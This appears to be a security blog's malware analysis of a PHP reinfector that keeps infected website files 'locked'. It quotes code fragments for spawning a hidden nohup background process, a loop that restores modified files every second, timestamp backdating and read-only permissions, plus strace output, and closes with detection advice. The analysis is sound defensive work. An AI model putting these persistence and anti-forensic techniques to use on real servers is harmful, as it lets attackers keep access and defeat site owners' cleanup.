The Hidden PHP Malware that Reinfects Cleaned Files

W97M/Downloader Malware Dropper Served from Compromised Websites
W97M/Downloader Malware Dropper Served from Compromised Websites

Website reinfections are a serious problem for website owners, and it can often be difficult to determine the cause behind the reinfection — especially if you lack access to necessary logs, which is usually the case for shared hosting services.

Some of the more common causes of reinfections are issues like cross- site contamination or unpatched website software security vulnerabilities that get re-exploited. In this post, I’ll share with you a different method: how attackers can reinfect your website files in under a second by having a single malicious process running on the web server.

How It Works

Interface text originally in Chinese
Translated from Mandarin

This malware is primarily focused on “locking” existing files that are already infected, which prevents the website owner from being able to clean them infected files. From the tool, attackers can select different functionalities labeled as:

  • Check the Environment
  • Lock File
  • Make locked files modifiable
  • View Function
  • phpinfo
  • php_version

These functions are responsible for executing specific actions within the site. For instance, Check the Environment will list the path of php and the current PHP version. View Function is another handy feature which checks the PHP configuration information (e.g phpinfo) for disable_functions to give attackers an idea as to which functions are accessible and can (or cannot) be used to their advantage.

PHP Functions
The disable_functions listing from phpinfo()

The function responsible for handling and creating a background process is Lock File. Once selected, this function targets a predefined file and it works as a persistent attack to prevent losing unauthorized access to the site if the website owner tries to remove existing backdoors.

Background Process Execution

When the attacker submits a HTTP request containing ?action=lock to the PHP script, the malicious process is spawned using the function exec (assigned to the custom function run in the malware’s code).

        case 'lock':
            $php_path = getPhpPath();
            if (functionCheck() !== false) {
                $data_array['执行�'�令'] = "nohup $php_path " . $current_file_path . " >/dev/null 2>&1 &";
                $result = run("ps aux | grep $current_file_name");
                foreach (explode("\n", $result) as  $value) {
                    $data_array[] = $value;

The exec function allows the attacker to execute shell commands through PHP, which allows the attacker to use the nohup POSIX command when creating malicious background processes. The nohup command allows the malicious background process to run without stopping, and this prevents a shared hosting provider’s limitations set in the php.ini file (e.g max_execution_time) from killing the process.

Once the malicious process is running, the malicious PHP file (red.php) is no longer needed and automatically deletes itself to prevent detection. Once deleted, the only way to detect this malware reinfector would be to view the running processes.

www-data  170138  0.0  0.0 234168 16040 ?        S    14:22   0:00  \_ /usr/sbin/apache2 -k start
www-data  187153  0.0  0.1  93816 29500 ?        S    17:49   0:00 php /var/www/html/wordpress/red.php

Monitoring and Reinfection

if (is_cli()) {
$content = file_get_contents($lock_file_path);
$hash_content = hash('sha1', $content);
while (true) {
if (!file_exists($lock_file_path)) {
file_put_contents($lock_file_path, $content);

The running background process first stores the contents of the targeted file (./protecc_me.php) in $content. It then creates a SHA1 hash value of the file and stores it in the variable $hash_content.

The process uses a while loop to monitor/compare the hash values of the targeted file every ~1 second — and if the hash value is different, then the script uses the function file_put_contents to restore the infected code in the targeted file.

You can see this in action by running an strace on the background malicious process spawned by red.php, and then delete or modify the “locked” file protecc_me.php (simulating someone cleaning it). I’ve included an strace output below that has been modified to remove a lot of the redundant strace data, along with comments describing what is going on:

access("/var/www/html/wordpress/protecc_me.php", F_OK) = 0
openat(AT_FDCWD, "/var/www/html/wordpress/protecc_me.php", O_RDONLY) = 3
read(3, "<?php\necho 'Protecc me plz';\n?>", 8192) = 31//the malware process is monitoring the locked file’s contents, it has 31 charactersclose(3)                                = 0
clock_nanosleep(CLOCK_REALTIME, 0, {tv_sec=1, tv_nsec=0}, 0x7ffe82408400) = 0

//the 1 second that the malware waits before checking the locked file again

access("/var/www/html/wordpress/protecc_me.php", F_OK) = 0
openat(AT_FDCWD, "/var/www/html/wordpress/protecc_me.php", O_RDONLY) = 3
read(3, "<?php\nDELETED BAD CONTENT\n?>", 8192) = 28
close(3)                                = 0

//the malware reads the locked file’s contents again and detects a difference from the last read it performed

unlink("/var/www/html/wordpress/protecc_me.php") = 0
lstat("/var/www/html/wordpress/protecc_me.php", 0x7ffe82405120) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/var/www/html/wordpress/protecc_me.php", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 3
write(3, "<?php\necho 'Protecc me plz';\n?>", 31) = 31

//since a difference in the file’s contents was detected, the malware deletes the locked file and “restores” an infected copy of the file, this all occurs in under a second

The background malware process also modifies the timestamps of the targeted file by -400 days (subtracts 400 days from current date). This is done to make it harder for someone auditing logs to tell from the timestamps that the background process had just modified the targeted file (e.g protecc_me.php) using file_put_contents.

Finally, to discourage further modification, the malware changes the permissions of the targeted file to 444 (read-only) using chmod. In order to modify the file, it would need to be changed back to 644 so that any new data can be written.

touch($lock_file_path, strtotime("-400 days", time()));
chmod($lock_file_path, 0444);
$new_content = file_get_contents($lock_file_path);
if (file_exists($current_file_name)) {
$new_hash_content = hash('sha1', $new_content);
if ($new_hash_content != $hash_content) {
file_put_contents($lock_file_path, $content);
touch($lock_file_path, strtotime("-400 days", time()));
chmod($lock_file_path, 0444);

After these functions have been run by the malware, the “locked” file would now show the updated permissions and inaccurate date:

-r--r--r--  1 www-data www-data   31 Aug 14  2019 protecc_me.php

Conclusion & Mitigation

Sometimes, removing only the malware/backdoor from the system is simply not enough to eradicate an infection. Malicious techniques like the one outlined above allow attackers to maintain access to the compromised website. It also helps to showcase the importance of checking the running processes when removing malware from an infected website.

You can employ file integrity monitoring and alert services to help detect malicious behaviour and indicators of compromise on your site. In the event that your website is suffering from malware reinfections, you can refer to our hacked website guide which outlines steps to remove malware. If you need a hand, we’re always here to help.

You May Also Like

Large scale TDS redirections

Lots of compromised sites redirecting to TDS:…
Read More